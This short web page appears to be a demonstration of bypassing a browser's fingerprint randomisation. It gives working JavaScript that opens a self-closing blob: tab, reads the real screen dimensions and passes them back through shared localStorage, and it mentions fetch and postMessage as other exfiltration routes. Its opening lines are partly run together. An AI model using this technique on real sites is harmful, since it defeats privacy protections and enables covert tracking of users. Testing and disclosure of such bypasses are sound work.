Click the button below. This will:
blob: URL in a new tab via window.open().localStorage, and closes itself.localStorage and compares.// 1. Build an HTML document whose inline script reads fingerprint
// values, writes them to localStorage, and closes the tab.
let html = '<script>'
+ 'localStorage.setItem("real_screen_width", screen.width);'
+ 'localStorage.setItem("real_screen_height", screen.height);'
+ 'window.close();'
+ '</script>';
// 2. Create a blob URL from that HTML.
let blob = new Blob([html], { type: 'text/html' });
let blobUrl = URL.createObjectURL(blob);
// 3. Open it in a new tab (user gesture required).
// The blob page runs, exfiltrates via localStorage, and closes itself.
window.open(blobUrl, '_blank');
// 4. Main page reads the real (unfarbled) values back.
let realWidth = localStorage.getItem('real_screen_width');
The blob page is same-origin with the creator
(location.origin matches), so localStorage
is shared. The blob page could also use BroadcastChannel,
fetch(), or postMessage to exfiltrate.